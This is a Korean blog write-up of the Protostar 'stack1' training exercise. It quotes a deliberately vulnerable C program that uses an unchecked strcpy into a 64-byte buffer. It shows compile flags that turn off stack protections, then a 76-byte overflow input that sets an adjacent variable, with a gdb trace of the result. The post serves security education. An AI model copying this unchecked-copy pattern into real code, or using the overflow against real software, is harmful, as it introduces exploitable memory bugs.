프로토스타

[프로토스타] stack1

-dP- 2019. 1. 8. 19:11

stack1.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

출처 : http://liveoverflow.com/binary_hacking/protostar/stack1.html



 

1. 문제해결

1-1. stack1.c 저장


gedit stack1.c 콘솔에 입력

Alt + Tab이 가능하게 콘솔 창에서 Ctrl + z를 누른 후 bg 입력

스택 구조

buffer

modifided

ebp

ret

 

1-2. 컴파일

칼리가 버전업 되면서 gcc -o stack0 stack0.c 컴파일 하면 스택 공격 불가

 

따라서 gcc -w -z execstack -no-pie -o stack1 stack1.c 컴파일

 

실행 파일이 생성 됐음을 확인할 수 있다.


 

1-3. stack1 실행 후 modified 변경 

python -c "print('A' * 76)"

 

./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba

 

(인텔은 리틀앤디안 방식이므로 거꾸로 넣는다.)

 

참고 자료: http://www.kocw.net/home/search/kemView.do?kemId=998138

참고 서적: https://book.naver.com/bookdb/book_detail.nhn?bid=8751823

2. 분석

 

2-1. gdb로 분석


현재 peda가 다운로드된 상태이므로 peda 다운로드가 안 되어 있을 시,

 

gdb ./stack1

 

set disassembly-flavor intel (어셈블리 명렁어 앞에 $ 없애줌) (리틀 앤디안 방식)

 

bufferf를 얼마나 채워야하는가?

코드를 보면 if문으로 0x61626364와 modified를 비교하므로 modifed = rbp - 0x4(main+76)이다.

 

buffer는 strcpy의 detination이므로 *main+68이다. rdi가 rax로부터 오므로 rax가 오는 메모리값 rbp-0x50이다.

 

즉 modified = 0x4, buffer = 0x50이다. 따라서 둘을 연산하면 0x50 - 0x4 = 0x4C // 16진수이므로 16^0 * 12 + 16^1 * 4 = 76

 

modified의 값을 알아야 하므로 compare 이전인 main+79 위치에 브레이크 포인트 걸어준다.

 

b *main+79

 

python -c "print('a'*76)" 코드로 생성한 76개의 a를 복사/붙여넣기한다.

 

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATEST

 

Try again, you got 0x54533554를 볼 수 있다. 이는 TEST의 아스키 코드 값이다 리틀 앤디안이니까 TSET의 아스키값이 차례로 들어갔다.

 

man acsii 명령어를 통해 아스키코드를 확인하여 0x61626364를 만들자.

 

위와 동일한 방식으로 run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba를 한 후

 

conti 입력하면 잘 실행됨을 볼 수 있다.

2-2. modified 위치

위에서 언급한 거처럼 modified = rbp-4이다

 

rbp의 주소인 0x7fffffffe160 에서 -4를 한 주소값은 0x6162636441414141

 

main+39를 보면 rbp-0x4로 돼 있다.

 

이게 modified의 주소다.

 

x/30gx $rsp로 stack pointer 위치 확인

 

info reg $rbp

 

rbp-0x4를 살펴보면 0x6162636441414141 잘 들어가 있다.


 

GDB 명령어 : http://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4


 

2-3. 레지스터 eax 확인

 

info reg $eax



 

참고 자료 : https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/


 

 

피드백 환영입니다!

'프로토스타' 카테고리의 다른 글

[프로토스타] stack5-1 (스택 접근)  (0) 2019.01.10
[프로토스타] stack4  (0) 2019.01.09
[프로토스타] stack3  (0) 2019.01.09
[프로토스타] stack2  (0) 2019.01.09
[프로토스타] stack0  (0) 2019.01.04